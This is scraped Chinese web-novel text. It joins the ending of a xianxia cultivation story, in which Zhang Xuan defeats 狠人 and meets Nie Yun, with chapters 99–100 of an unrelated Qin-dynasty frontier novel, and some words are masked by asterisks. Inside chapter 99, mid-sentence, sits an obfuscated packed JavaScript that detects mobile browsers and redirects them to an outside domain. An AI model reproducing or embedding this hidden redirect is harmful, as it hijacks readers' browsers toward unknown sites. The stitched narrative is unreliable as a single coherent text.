生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第99章 暗流涌动 再布杀局 第九十九章暗流涌动再布杀局 三日休整,转瞬即逝。 九原城中,大战之后的紧张与疲惫渐渐消退,取而代之的是一种沉甸甸的安定。 破阵营的将士们养精蓄锐,擦拭兵刃,检查铠甲,眉宇间虽有大战之后的肃杀,更多的却是对统帅的信赖和对下一场战斗的渴望。 顾清寒站在郡守府的望楼上,远眺北方。 匈奴大营虽已后撤三十里,但那片天空下,依旧能感受到压抑的阴云。 冒顿不会善罢甘休,下一次的碰撞,只会更加凶险。 “顾少,咸阳派来的工匠队伍到了,李大人陪着,已经在府外候着了。”亲兵前来禀报。 顾清寒嘴角微扬:“来得倒快。让他们进来吧。” 郡守府正堂,李贤带着十余名身着少府官服的工匠站在堂下。 这些工匠大多神情倨傲,显然对被派到这苦寒边塞,听从一个“反贼”出身的年轻将军调遣,心中颇有几分不情愿。 “顾将军,这便是陛下特意遴选的少府精锐工匠,奉旨前来协助将军,改良军械,以助我大秦北伐。” 李贤介绍道,语气比之前客气了不少,但看向那些工匠时,眼中也闪过一丝无奈。 这些技术官员,向来眼高于顶。 为首的一名老工匠,约莫五十余岁,名叫公输墨,据说是公输家族的旁支,一手打造车马舟船的技艺冠绝少府。 他略一拱手,皮笑肉不笑:“顾将军年少有为,麾下兵器想必也有独到之处。我等奉陛下之命前来,若将军有何不解之处,尽管提出,我等必当倾囊相助。”话里话外,透着一股指点的意味。 顾清寒也不动怒,笑道:“诸位远道而来,辛苦了。本将军麾下兵器,确有几分粗陋,正需诸位这等大匠指点迷津。只是,我梧桐村的工匠,平日里也有些心得,不如先让他们与诸位交流一二,也让我等开开眼界,看看少府的高招?” 公输墨等人一听,心中更是轻视。 梧桐村? 一群乡野村夫,能有什么心得? 不过是想借机偷师罢了。 “也好,我等也想看看顾将军麾下的高明。” 公输墨捋着胡须,一副等着看笑话的模样。 顾清寒拍了拍手,一名破阵营的老工匠,正是之前在九原城中利用劣质铁矿石炼铁的那位,捧着一个新制的箭簇走了进来,恭敬地递给顾清寒。 顾清寒将箭簇递给公输墨:“公输大匠请看,此乃我部工匠,用九原本地寻常铁矿,三日之内赶制出的箭簇。虽不及精铁,却也能应急。不知少府可有法子,能更快、更好地利用这些劣质矿石?” 公输墨接过箭簇,仔细端详。 这箭簇通体黝黑,分量不轻,边缘打磨得也算锋利,但材质确实粗糙。 他皱眉道:“此等劣铁,杂质甚多,不堪大用。若要炼制,耗时费力,得不偿失。我少府,向来只用上等精铁。” 顾清寒笑了笑,对那老工匠道:“老张,把咱们那宝贝给少府的大匠们瞧瞧。” 老张咧嘴一笑,从怀中取出一个巴掌大小,结构略显复杂的铁器,上面有几个齿轮和摇杆。 他将一块拳头大的粗铁矿石固定在铁器一端,然后摇动摇杆。 只听一阵细密的“咔咔”声,那坚硬的铁矿石竟被缓缓压扁、切割,露出了里面相对纯净的矿心。 虽不能完全去除杂质,但比起直接捶打冶炼,效率高了不止一筹。 “此乃碎矿器,小子闲来无事琢磨的小玩意儿。”顾清寒淡淡道,“能初步处理矿石,节省些人力和柴火。诸位大匠见笑了。” 公输墨等少府工匠看得眼睛都直了。 他们何曾见过这等精巧的器械? 少府处理矿石,多半还是靠人力捶打筛选,费时费力。 这小小的碎矿器,看似简单,却蕴含着他们未曾想过的巧思。 “这……这当真是将军所制?” 公输墨脸上倨傲之色褪去不少,多了几分惊疑。 “不过是些奇技银巧,难登大雅之堂。” 顾清寒摆摆手,“我梧桐村还有些类似的土法子,比如那净水器具,还有一些改良的农具、纺车。诸位若有兴趣,这几日不妨与我村中工匠多多交流。说不定,也能给诸位带来些新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705773|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的启发。” 他特意在“启发”二字上加了些意味。 李贤在一旁看得目瞪口呆。 他原以为顾清寒会让这些少府工匠见识**、暴雨梨花**的厉害,没想到却拿出这些看似不起眼,实则精妙无比的民用器具。 这一下,不止是震慑,更是釜底抽薪,让那些心高气傲的少府工匠,从根子上就矮了一头。 公输墨等人面面相觑,再也不敢小觑顾清寒和他的梧桐村。 他们原是来“协助”、“指点”的,如今看来,倒像是来“学习”、“取经”的了。 “将军……将军过谦了。此等巧思,我等……佩服,佩服。”公输墨语气已然恭敬许多。 “好说。”顾清寒笑道,“诸位远来是客,先好生歇息。明日起,便请诸位与我部工匠,一同参详军械民生之器。所需材料,尽管开口。” 打发了这些“钦派学徒”,李山河匆匆从外面进来,神色凝重:“顾少,斥候回来了。” 议事厅内,只有顾清寒、石猛、牛辅和李山河四人。 李山河在沙盘上指点:“冒顿退兵三十里后,便在乌梁素海附近扎下大营。这几日,他们并未有大的动作,只是加强了营地戒备,同时派出了大量游骑,四下劫掠,似乎在补充粮草,也像是在**。” “**?”牛辅哼了一声,“我看他们是吓破了胆,不敢再来送**!” “斥候探听到,匈奴各部落之间,因为上次西营大败,颇有怨言。尤其是那些损失惨重的中小部落,对冒顿的指挥多有不满。冒顿为了弹压,已经斩了好几个作战不力的头领,手段颇为酷烈。”李山河继续道。 顾清寒手指轻轻敲击着桌面:“兔子急了也咬人。冒顿这是在稳固内部,同时积蓄力量,准备反扑。他劫掠粮草,说明他不想轻易退走。乌梁素海……那里水草丰美,利于牧马,是个易守难攻之地。” 石猛惜字如金:“打蛇打七寸。” “没错。”顾清寒眼中闪过一丝寒芒,“冒顿以为躲在乌梁素海就安全了?他想休养生息,我偏不让他如愿。他不是喜欢劫掠吗?咱们就给他来个釜底抽薪。” 第100章 北疆猎狐 游骑之殇 第一百章北疆猎狐游骑之殇 牛辅眼睛一亮:“顾少,您又有好主意了?是不是要再给他们来几发**?” “**是要用,但得用在刀刃上。”顾清寒笑道,“冒顿现在防备森严,正面强攻,讨不到便宜。但他那些四处劫掠的游骑,却是送上门来的肥肉。” 李山河道:“那些游骑,少则数十,多则数百,行动迅速,极为狡猾,想要全歼,并不容易。” “全歼他们作甚?”顾清寒反问,“我要的是让他们有来无回,让他们知道,九原郡方圆百里,是我破阵营的地盘,谁敢伸手,就剁了谁的爪子!更重要的,是要通过他们,把恐惧,再次散布到匈奴大营之中。” 